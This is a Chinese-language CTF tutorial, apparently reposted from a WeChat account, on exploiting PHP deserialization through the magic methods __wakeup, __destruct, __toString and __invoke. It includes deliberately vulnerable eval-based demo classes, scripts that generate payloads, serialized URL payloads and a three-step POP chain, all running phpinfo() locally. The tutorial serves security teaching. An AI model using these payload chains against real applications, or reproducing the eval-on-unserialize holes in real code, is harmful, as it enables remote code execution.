今年打了2场ctf赛,不得不说,PHP反序列化是真香。五六年前就是考点,现在这么多年过去了还是逢赛必出的题目,下面我就总结一下这个知识点吧。
一、基础知识
php反序列化漏洞的关键是魔术方法,下面我一一介绍下。
(1)__wakeup
这个是在执行unserialize()后首先触发的函数
(3)__destruct
这个类的析构函数,看单词相信大家也能猜到它的作用,是在类实例销毁时候触发
(3)__tostring
这个是当类被作为字符串时触发
(4)__invoke
看单词也好理解,调用函数的方式调用一个对象时的回应方法
大部分时候只会用到这4个魔术方法,其他的魔术方法这里就不过多介绍了,理解这4个基本能应付php反序列化的题目了。
上面4个光靠一句话解释,很多人可能有些无法理解,我简单的用代码举个例子: wakeuptest.php
class A{
public $name;
public function __wakeup()
{
eval($this->name);
}
}
unserialize($_GET['hi']);
如果题目直接把eval函数写在__wakeup中,那简直就是送分,因为执行unserialize函数后默认会触发__wakeup. 将A的name属性赋值为要执行的php代码就行了,这里以phpinfo()为例。
wakeup_payload.php
<?php
class A{
public $name="phpinfo();";
}
$a = new A;
echo serialize($a);
我在本地演示一下,用的是nginx+php7.3的docker容器。
直接访问wakeuptest.php?hi=O:1:"A":1:{s:4:"name";s:10:"phpinfo();";}
再继续演示下析构函数__destruct,直接把上面wakeup的demo code中__wakeup换成__destruct
destruct_test.php
class A{
public $name;
public function __destruct()
{
eval($this->name);
}
}
unserialize($_GET['hi']);
payload不变,还是执行phpinfo
destruct_test.php?hi=O:1:"A":1:{s:4:"name";s:10:"phpinfo();";}
__wakeup和__destruct是反序列化函数默认会触发的,这一点很关键
下面在演示下__tostring
class B{
public $age;
public function __tostring(){
eval($this->age);
}
}
unserialize($_GET['hi']);
tostring.php?hi=O:1:"A":1:{s:4:"name";s:10:"phpinfo();";}
__tostring函数压根就没被触发
这种情况下就需要用wakeup或者destruct来触发了。可以这么理解,如果ctf比赛中没有__destruct或__wakeup魔术方法,那这题肯定不是考反序列化。
这里我用destruct和tostring为例吧
class A{
public $name;
public function __destruct()
{
echo $this->name;
}
}
class B{
public $age;
public function __tostring(){
eval($this->age);
}
}
unserialize($_GET['hi']);
再来回顾一下上面__tostring是怎么描述的?
当类被作为字符串时触发
这里A类的析构函数中echo $name; ,name属性用echo打印出来,可以理解为这里name属性就是一个字符串。所以class B赋值给class A->name就ok了。直接看demo payload
<?php
class A{
public $name;
}
class B{
public $age;
}
$a = new A;
$b = new B;
$b->age = "phpinfo();";
$a->name = $b;
echo serialize($a);
tostring_test.php?hi=O:1:%22A%22:1:{s:4:%22name%22;O:1:%22B%22:1:{s:3:%22age%22;s:10:%22phpinfo();%22;}}
在__destruct函数中不一定是echo $this->name; 比如sha($this->name)也可以,只要$this->name被当作字符串就行,然后将B实例赋给$this->name
最后一个是__invoke,回头再看下解释:调用函数的方式调用一个对象时的回应方法。直接看demo吧
class C{
public $sex;
public function __invoke(){
eval($this->sex);
}
}
当class B对象作为函数时,会触发__invoke函数。这么解释很容易理解吧
还是用destruct作为pop链入口
class A{
public $name;
public function __destruct(){
$hello = $this->name;
$hello();
}
}
class C{
public $sex;
public function __invoke(){
eval($this->sex);
}
}
unserialize($_GET['hi']);
对应的payload
class A{
public $name;
}
class C{
public $sex="phpinfo();";
}
$a = new A;
$c = new C;
$a->name=$c;
echo serialize($a);
发送请求
invoke_test.php?hi=O:1:"A":1:{s:4:"name";O:1:"C":1:{s:3:"sex";s:10:"phpinfo();";}}
二、真题
ctf比赛经常遇到3层以上的pop链,这里我拿一道destruct+tostring+invoke的pop链的题目作为案例
class user{
public $name;
public function __destruct(){
echo $this->name;
}
}
class ctf{
public $name;
public function __tostring(){
$one = $this->name;
$one();
}
}
class getflag{
public $sex;
public function __invoke(){
eval($this->sex);
}
}
unserialize($_GET['hi']);
payload如下
class user{
public $name;
}
class ctf{
public $name;
}
class getflag{
public $sex;
}
$a = new user;
$b = new ctf;
$c = new getflag;
$c->sex="phpinfo();";
$b->name = $c;
$a->name = $b;
echo serialize($a);
发起请求
http://localhost:8092/getflag_test.php?hi=O:4:"user":1:{s:4:"name";O:3:"ctf":1:{s:4:"name";O:7:"getflag":1:{s:3:"sex";s:10:"phpinfo();";}}}
三、总结
1. 在php反序列化题目中,__destruct或__wakeup必须要有一个,不然无法在unserialize()时触发
2. __tostring, __invoke的pop链经常出现,其他魔术方法依葫芦画瓢比如__get,__call
其实php反序列化并没有什么难度,先找到利用点,一般是eval函数所在的位置,或者是file_content_get()函数用来读取flag文件。稍微加点难度上去,可能会加一层base64编码。
原文始发于微信公众号(信息安全笔记):ctf之php反序列化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论